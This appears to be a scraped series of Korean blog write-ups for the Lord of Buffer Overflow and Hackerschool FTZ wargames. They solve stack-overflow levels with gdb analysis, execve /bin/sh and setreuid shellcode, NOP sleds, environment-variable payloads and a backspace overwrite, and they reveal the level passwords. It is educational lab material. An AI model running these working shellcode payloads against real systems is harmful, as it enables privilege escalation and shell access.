orc 실행파일을 복사해서 gdb로 실행해 보자.

0x80485b0 <main+176>:	mov    %eax,DWORD PTR [%ebp+12]
0x80485b3 <main+179>:	add    %eax,4
0x80485b6 <main+182>:	mov    %edx,DWORD PTR [%eax]
0x80485b8 <main+184>:	push   %edx
0x80485b9 <main+185>:	lea    %eax,[%ebp-40]  //buffer 주소 ebp-40
0x80485bc <main+188>:	push   %eax
0x80485bd <main+189>:	call   0x8048440 <strcpy>
0x80485c2 <main+194>:	add    %esp,8
0x80485c5 <main+197>:	lea    %eax,[%ebp-40]

strcpy의 인자로 buffer가 전달되기에 ebp-40이 buffer의 주소임을 알 수 있다.

첫 번째 방식

buffer(40 bytes)에 쉘 코드를 삽입하고 해당 주소로 retn하도록 하면 쉘 코드가 실행될 것이다.

쉘 코드는 25 bytes라서 buffer를 이용하면 충분히 bof 공격이 가능하다.

우선 orc를 ORC로 복사해서 gdb를 실행하였다.

argv[1]에는 쉘 코드(25 bytes)+"A"(19 bytes)+임의의 retn 주소를 전달하였다. 이를 통해 쉘 코드의 시작 주소를 알아내었다.

쉘 코드 시작 주소: 0xbffffab0

(gdb) b *main+189
Breakpoint 2 at 0x80485bd
(gdb) r `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`
Starting program: /home/goblin/ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xbf\xbf\xbf\xbf"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/30x $ebp-44
0xbffffaac:	0x00000016	0x6850c031	0x68732f2f	0x69622f68
0xbffffabc:	0x50e3896e	0x31e18953	0xcd0bb0d2	0x41414180
0xbffffacc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffadc:	0xbfbfbfbf	0x00000000	0xbffffb24	0xbffffb30
0xbffffaec:	0x40013868	0x00000002	0x08048450	0x00000000
0xbffffafc:	0x08048471	0x08048500	0x00000002	0xbffffb24
0xbffffb0c:	0x08048390	0x0804860c	0x4000ae60	0xbffffb1c
0xbffffb1c:	0x40013e90	0x00000002

ORC를 실행하며 인자로 retn 주소는 0xbffffab0을 주었다.

[goblin@localhost goblin]$ ./ORC `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xb0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAA°
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -c core -q
Core was generated by `./ORC 1󿿐h//shh/bin⏓󿲒°
                                            ̀AAAAAAAAAAAAAAAAAAA°󽥮
Program terminated with signal 11, Segmentation fault.
#0  0xbffffab0 in ?? ()
(gdb) x/50x $esp -70
0xbffffaaa:	0xfae84010	0x85d3bfff	0x86590804	0xfac00804
0xbffffaba:	0x0017bfff	0xc0310000	0x2f2f6850	0x2f686873
0xbffffaca:	0x896e6962	0x895350e3	0xb0d231e1	0x4180cd0b
0xbffffada:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffaea:	0xfab04141	0x0000bfff	0xfb340000	0xfb40bfff
0xbffffafa:	0x3868bfff	0x00024001	0x84500000	0x00000804
0xbffffb0a:	0x84710000	0x85000804	0x00020804	0xfb340000
0xbffffb1a:	0x8390bfff	0x860c0804	0xae600804	0xfb2c4000
0xbffffb2a:	0x3e90bfff	0x00024001	0xfc2e0000	0xfc34bfff
0xbffffb3a:	0x0000bfff	0xfc650000	0xfc76bfff	0xfc8ebfff
0xbffffb4a:	0xfcadbfff	0xfccfbfff	0xfcdbbfff	0xfe9ebfff
0xbffffb5a:	0xfebdbfff	0xfed9bfff	0xfeeebfff	0xff0cbfff
0xbffffb6a:	0xff17bfff	0xff30bfff

core dumped가 발생했다. core 파일을 gdb로 들여다보았다. 그 결과 쉘 코드 주소가 0xbffffac0으로 바뀌어 있었다.

이제 orc 파일을 실행해 보자. retn 주소는 0xbffffac0으로 설정한다.

[goblin@localhost goblin]$ ./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*19+"\xc0\xfa\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAAzÿ¿
bash$ my-pass
euid = 504
cantata

두 번째 방식

40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 retn 주소(4 bytes)를 뒤에 전달할 \x90 주소중 하나로 선택한다. 이어서 '\x90'을 여유 있게 채우고 쉘 코드를 삽입한다. 이렇게 하면 main 함수 프롤로그 과정에서 retn에 의해 \x90 주소 중 하나로 이동하고, \x90은 NOP이기에 CPU는 \x90이 아닌 값이 나올 때까지 건너뛴다. 그러다가 쉘 코드를 만나서 실행하게 되는 것이다. retn 주소로 0xbffffa6c를 선택했다. 참고로 과정은 생략했는데 0xbffffa6c는 gdb 실행을 통해 알아내면 된다.

argv[1]에 전달하는 인자의 길이에 따라 스택의 메모리 주소 값이 달라진다. 이 점을 주의해서 retn 주소를 설정해야 한다. 나는 '\x90'의 개수를 200개로 설정했는데 100개로 한다면 주소값들이 200개일 때와 달라진다.

(gdb) r `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
Starting program: /home/goblin/orc2 `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/100x $ebp-44
0xbffff9cc:	0x00000016	0x41414141	0x41414141	0x41414141
0xbffff9dc:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9ec:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9fc:	0xbffffa6c	0x90909090	0x90909090	0x90909090
0xbffffa0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa7c:	0x90909090	0x90909090	0x90909090	0x90909090---Type <return> to continue, or q <return> to quit---

0xbffffa8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffa9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaac:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffabc:	0x90909090	0x90909090	0x90909090	0x6850c031
0xbffffacc:	0x68732f2f	0x69622f68	0x50e3896e	0x31e18953
0xbffffadc:	0xcd0bb0d2	0x08040080	0x0000000b	0x000001f
[goblin@localhost goblin]$ ./orc `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl󿐐1󿿐h//shh/bin⏓󿲒°
                                                             ̀ 
bash$ my-pass
euid = 504
cantata​

`python ~~~' 명령어에 대해 궁금하면 내 티스토리의 ftz level11 글을 참고하길 바란다.

orc의 비밀번호: cantata

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21
728x90

cobolt / hacking exposed

/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

cobolt에선 argv[1]을 buffer에 복사했는데 이번엔 gets로 입력받는다.

[cobolt@localhost cobolt]$ gdb goblin2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x80483f8 <main>:	push   %ebp
0x80483f9 <main+1>:	mov    %ebp,%esp
0x80483fb <main+3>:	sub    %esp,16
0x80483fe <main+6>:	lea    %eax,[%ebp-16]  // buffer 주소 ebp-16
0x8048401 <main+9>:	push   %eax
0x8048402 <main+10>:	call   0x804830c <gets>
0x8048407 <main+15>:	add    %esp,4
0x804840a <main+18>:	lea    %eax,[%ebp-16]
0x804840d <main+21>:	push   %eax
0x804840e <main+22>:	push   0x8048470
0x8048413 <main+27>:	call   0x804833c <printf>
0x8048418 <main+32>:	add    %esp,8
0x804841b <main+35>:	leave  
0x804841c <main+36>:	ret    
0x804841d <main+37>:	nop    
0x804841e <main+38>:	nop    
0x804841f <main+39>:	nop

buffer가 gets 함수 인자로 들어가기에 ebp-16이 buffer의 주소임을 알 수 있다.

먼저 쉘 코드를 환경 변수로 등록한다.

16 bytes의 buffer+sfp (4 bytes)를 덮어쓰고 마지막으로 retn 주소(4 bytes)를 쉘 코드의 주소로 덮어쓴다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\x93\xfe\xff\xbf"';cat)|./goblin
AAAAAAAAAAAAAAAAAAAAþÿ¿
my-pass
euid = 503
hackers proof

최종 명령어 형식은 gets로 입력받는 형식이기에 argv[1]을 복사할 때와는 다르다. 문법이 궁금하다면 다음 글을 참고하자.

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
gate -> gremlin  (0) 2023.01.21
728x90

gremlin / hello bof world

/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

buffer의 크기가 작아진 것이 gremlin 문제와의 차이점이다.

Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,16
0x8048436 <main+6>:	cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:	jg     0x8048453 <main+35>
0x804843c <main+12>:	push   0x80484d0
0x8048441 <main+17>:	call   0x8048350 <printf>
0x8048446 <main+22>:	add    %esp,4
0x8048449 <main+25>:	push   0
0x804844b <main+27>:	call   0x8048360 <exit>
0x8048450 <main+32>:	add    %esp,4
0x8048453 <main+35>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:	add    %eax,4
0x8048459 <main+41>:	mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:	push   %edx
0x804845c <main+44>:	lea    %eax,[%ebp-16]  //buffer주소 ebp-16
0x804845f <main+47>:	push   %eax
0x8048460 <main+48>:	call   0x8048370 <strcpy>
0x8048465 <main+53>:	add    %esp,8
0x8048468 <main+56>:	lea    %eax,[%ebp-16]
0x804846b <main+59>:	push   %eax
0x804846c <main+60>:	push   0x80484dc

strcpy의 인자로 들어가는 것을 보아 ebp-16이 buffer의 주소다.

ebp-16부터 16 bytes가 buffer의 공간이다. 이어서 sfp (4 bytes)가 존재하고 이어서 retn (4 bytes)가 존재한다. retn을 쉘 코드의 주소로 덮어쓸 것이다.

쉘 코드를 환경 변수로 등록하고 아래의 코드를 이용해서 환경 변수의 주소를 알아낸다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
	printf("%p\n",getenv("sh"));
}

cobolt의 인자로 전달하면 끝이다.

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x90\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ my-pass
euid = 502
hacking exposed
728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gate -> gremlin  (0) 2023.01.21
728x90

먼저 root / hackerschoolbof로 로그인 후 ifconfig로 ip주소를 알아낸다.

xshell이나 putty를 이용해 23번 포트로 연결 후 gate / gate 로 로그인한다. 문제를 풀때 항상 bash2를 입력하고 시작해야한다.

/*
	The Lord of the BOF : The Fellowship of the BOF 
	- gremlin
	- simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

gdb로 들여다보려면 gremlin 실행파일을 복사해서 복사한 실행파일을 gdb로 실행해야 한다.

(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:	push   %ebp
0x8048431 <main+1>:	mov    %ebp,%esp
0x8048433 <main+3>:	sub    %esp,0x100
0x8048439 <main+9>:	cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:	jg     0x8048456 <main+38>
0x804843f <main+15>:	push   0x80484e0
0x8048444 <main+20>:	call   0x8048350 <printf>
0x8048449 <main+25>:	add    %esp,4
0x804844c <main+28>:	push   0
0x804844e <main+30>:	call   0x8048360 <exit>
0x8048453 <main+35>:	add    %esp,4
0x8048456 <main+38>:	mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:	add    %eax,4
0x804845c <main+44>:	mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:	push   %edx
0x804845f <main+47>:	lea    %eax,[%ebp-256]
0x8048465 <main+53>:	push   %eax
0x8048466 <main+54>:	call   0x8048370 <strcpy>
0x804846b <main+59>:	add    %esp,8
0x804846e <main+62>:	lea    %eax,[%ebp-256]
0x8048474 <main+68>:	push   %eax
0x8048475 <main+69>:	push   0x80484ec

argv[1]을 buffer에 원하는 만큼 덮어쓸 수 있다. buffer overflow가 가능하다. strcpy 함수의 인자로 buffer가 전달되기에 ebp-256이 buffer의 주소임을 알 수 있다.

두 가지 방식으로 풀었다.

첫 번째 방식

buffer 공간에 ''\x90'과 쉘 코드를 넣어서 최종적으로 '\x90' 중 하나의 주소로 retn 하는 방식으로 해결했다. 이를 NOP Sled 방식이라 하며 쉘 코드의 주소를 정확하게 알지 못해도 공격을 성공할 수 있다. CPU는 '\x90'(NOP)을 만나면 NOP이 아닌 값이 나올 때까지 건너뛴다. 마침내 쉘 코드를 만나면 실행한다. 256 bytes(buffer)+4 bytes(sfp)를 '\x90'*200+"쉘 코드(25 bytes)"+"A"*35로 채우고 이어서 retn 주소를 '\x90' 중 하나의 주소로 설정한다. 위와 같이 값을 넣었을 때 '\x90'의 주소를 알아내기 위해 "A"*260+retn주소 형식으로 실험해 봤다.

argv[1]의 인자값의 길이에 따라 스택의 주소값들이 달라진다. 이 점 때문에 많이 헤맸다.

(gdb) r `python -c 'print "A"*260+"\x6c\xfa\xff\xbf"'`
Starting program: /home/gate/gremlin2 `python -c 'print "A"*260+"\x6c\xfa\xff\xbf"'`

Breakpoint 1, 0x8048439 in main ()
(gdb) ni
0x804843d in main ()

Breakpoint 2, 0x804846b in main ()
(gdb) ni
0x804846e in main ()
(gdb) x/70x $ebp-260
0xbffff904:	0xbffffb64	0x41414141	0x41414141	0x41414141
0xbffff914:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff924:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff934:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff944:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff954:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff964:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff974:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff984:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff994:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9a4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9b4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9c4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9d4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9e4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff9f4:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffa04:	0x41414141	0x41414141	0xbffffa6c	0x00000000
0xbffffa14:	0xbffffa54	0xbffffa60

0xbffff974를 retn 주소로 설정하고 아래와 같이 실행하였다.

[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*35+"\x74\xf9\xff\xbf"'`
1󿿐h//shh/bin⏓󿲒°
               ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt
bash$ my-pass
euid = 501
hello bof world

두 번째 방식

 ftz 문제 풀 때처럼 쉘 코드를 환경 변수로 등록하여 쉘 코드의 주소로 retn 하는 방식이다.

export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
#include <stdio.h>

int main(){
printf("%p\n",getenv("sh"));
}

환경 변수 주소는 0xbffffe99였다.

[gate@localhost gate]$ ./gremlin `python -c 'print "A"*260+"\x99\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿
bash$ my-pass
euid = 501
hello bof world

euid 501은 gremlin이다.

gremlin의 비밀번호: hello bof world

`python ~~~` 관련 문법이 궁금하다면 다음 글을 참고하자.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

wolfman -> darkelf  (0) 2023.01.21
orc -> wolfman  (2) 2023.01.21
goblin -> orc  (0) 2023.01.21
cobolt -> goblin  (2) 2023.01.21
gremlin -> cobolt  (0) 2023.01.21
728x90

level20은 해설하려면 너무 길어진다. 다른 해설을 참고하는게 좋겠다.

아래의 링크의 설명이 매우 상세하다. 여기 참고하는 게 가장 좋아 보인다.

https://orange-makiyato.tistory.com/9

 

해커스쿨 FTZ level20 (HackerSchool) 풀이

힌트를 보자 마지막 uid로 바꾸는 setreuid 함수가 있고 얼마나 많이 입력하든 fgets 함수가 79바이트까지만 받게되어있어 버퍼오버플로우는 불가능하다. 대신에 printf 함수에 인자로 bleh 변수가 그대

orange-makiyato.tistory.com

 

ps) 질문이 있으면 답변은 제가 대신해드릴 수 있습니다.

728x90

'FTZ' 카테고리의 다른 글

level19  (0) 2023.01.19
level18  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
main()
{ char buf[20];
  gets(buf);
  printf("%s\n",buf);
}

입력을 받아서 출력하는 코드다. bof에 취약한 gets 함수를 사용하고 있다. 다만 이전의 문제들과 다른 점은 setreuid 함수가 없다는 것이다. ftz의 my-pass 함수를 사용하려면 ruid와 euid가 다음 레벨의 uid로 되어야 한다. 그러기 위해선 기존에 사용해 오던 쉘 코드가 아닌 setreuid 함수가 포함된 쉘 코드를 사용해야 한다. 검색을 통해 찾아서 환경변수로 등록했다. 마찬가지로 NOP을 의미하는 \x90은 여유 있게 넣어준다.

[level19@ftz tmp]$ export sh=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

아래는 환경 변수로 등록한 쉘 코드의 주소를 출력하는 소스 코드다. 컴파일하여 주솟값을 구한다.

#include <stdio.h>
int main(){
	printf("%p\n",getenv("sh"));
}

gdb로 buf의 주솟값을 파악한다. ebp-40에 위치한다.

[level19@ftz tmp]$ gdb attackme -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>:	push   ebp
0x08048441 <main+1>:	mov    ebp,esp
0x08048443 <main+3>:	sub    esp,0x28
0x08048446 <main+6>:	sub    esp,0xc
0x08048449 <main+9>:	lea    eax,[ebp-40]  //buf 주소 ebp-40
0x0804844c <main+12>:	push   eax
0x0804844d <main+13>:	call   0x80482f4 <gets>
0x08048452 <main+18>:	add    esp,0x10
0x08048455 <main+21>:	sub    esp,0x8
0x08048458 <main+24>:	lea    eax,[ebp-40]
0x0804845b <main+27>:	push   eax
0x0804845c <main+28>:	push   0x80484d8
0x08048461 <main+33>:	call   0x8048324 <printf>
0x08048466 <main+38>:	add    esp,0x10
0x08048469 <main+41>:	leave  
0x0804846a <main+42>:	ret    
0x0804846b <main+43>:	nop

40 bytes + sfp(4 bytes)=44 bytes를 임의의 값으로 채우고 다음 4 bytes인 retn 주솟값이 저장되는 위치에 쉘 코드의 주소를 삽입한다.

[level19@ftz tmp]$ (python -c 'print "A"*44+"\x58\xfe\xff\xbf"';cat)|../attackme
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX?
my-pass
TERM environment variable not set.

Level20 Password is "we are just regular guys".

이미 이전 단계들에서 많이 해오던 방식인데 쉘 코드만 바꼈다. 명령어의 문법은 아래의 글에서 설명하였다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

728x90

'FTZ' 카테고리의 다른 글

level20  (0) 2023.01.20
level18  (0) 2023.01.19
level17  (0) 2023.01.19
level16  (0) 2023.01.19
level15  (0) 2023.01.19
728x90
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
 
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
 
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

갑자기 코드가 길어졌는데 별 거 없다. 그냥 내가 입력한 값들이 x에 1byte씩 저장되고 x값에 따라 실행되는 게 달라진다.

그리고 check가  0xdeadbeef면 shellout 함수를 실행할 수 있다.

attackme 실행파일을 level18의 tmp 디렉터리 내부로 복사한 후 gdb를 실행한다.

Dump of assembler code for function main:
0x08048550 <main+0>:	push   ebp
0x08048551 <main+1>:	mov    ebp,esp
0x08048553 <main+3>:	sub    esp,0x100
0x08048559 <main+9>:	push   edi
0x0804855a <main+10>:	push   esi
0x0804855b <main+11>:	push   ebx
0x0804855c <main+12>:	mov    DWORD PTR [ebp-108],0x0  //0을 대입하는 것을 보고 변수 x의 주소임을 확신
0x08048563 <main+19>:	mov    DWORD PTR [ebp-112],0x0  //0을 대입하는 것을 보고 count의 주소임을 확신
0x0804856a <main+26>:	push   0x8048800
0x080485ab <main+91>:	cmp    DWORD PTR [ebp-104],0xdeadbeef  //0xdeadbeef와 비교하기에 check의 주소 확신
0x080485b2 <main+98>:	jne    0x80485c0 <main+112>
0x080485b4 <main+100>:	call   0x8048780 <shellout>​
//switch의 default 부분
0x08048743 <main+499>:	lea    eax,[ebp-100]  //string임을 확신
0x08048746 <main+502>:	mov    DWORD PTR [ebp-252],eax  //string의 주솟값이 ebp-252에 저장
0x0804874c <main+508>:	mov    edx,DWORD PTR [ebp-112]  //count 값이 최종적으로 edx에 저장
0x0804874f <main+511>:	mov    cl,BYTE PTR [ebp-108]  //x 값을 cl에 저장
0x08048752 <main+514>:	mov    BYTE PTR [ebp-253],cl  // c1(x값)의 값을 ebp-253에 저장
0x08048758 <main+520>:	mov    al,BYTE PTR [ebp-253]  //x 값이 최종적으로 al에 저장
0x0804875e <main+526>:	mov    ecx,DWORD PTR [ebp-252]  //string의 주솟값이 ecx에 저장
0x08048764 <main+532>:	mov    BYTE PTR [edx+ecx],al  //string[count]=x
0x08048767 <main+535>:	inc    DWORD PTR [ebp-112]  //x++
0x0804876a <main+538>:	jmp    0x8048770 <main+544>
0x0804876c <main+540>:	lea    esi,[esi*1]
0x08048770 <main+544>:	jmp    0x8048591 <main+65>
0x08048775 <main+549>:	lea    esp,[ebp-268]
0x0804877b <main+555>:	pop    ebx
0x0804877c <main+556>:	pop    esi
0x0804877d <main+557>:	pop    edi
0x0804877e <main+558>:	leave  
0x0804877f <main+559>:	ret

스택의 구조는 다음과 같다.

ebp-112 count
ebp-108 x
ebp-104 check
ebp-100 string

check에 0xdeadbeef를 대입해야 한다. 소스코드를 보면 x 값이 8인 경우 count가 1만큼 감소한다. 그리고 0xa, 0xd, 8이 아닌 경우는 string주소+count 위치에 x를 대입한다.

그렇다면 현재 string의 위치에서 4만큼 감소하면 string의 주소(ebp-100) - 4 = ebp-104가 되어 check에 도달할 것이고 이 상태에서 0xdeadbeef를 저장한다면 문제가 풀릴 것이다.

[level18@ftz tmp]$ (python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|../attackme
Enter your command: my-pass

Level19 Password is "swimming in pink".

참고로 \x8은 문법 에러고, 그냥 8은 38로 인식된다. 문자 8에 해당하는 아스키코드가 38이기 때문이다. 반드시 \x08로 입력해야 한다.

명령어들이 이해가 안 되면 level11과 level12의 글을 참고하길 바란다. 같은 형식의 명령어를 계속 사용 중이다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level20  (0) 2023.01.20
level19  (0) 2023.01.19
level17  (0) 2023.01.19
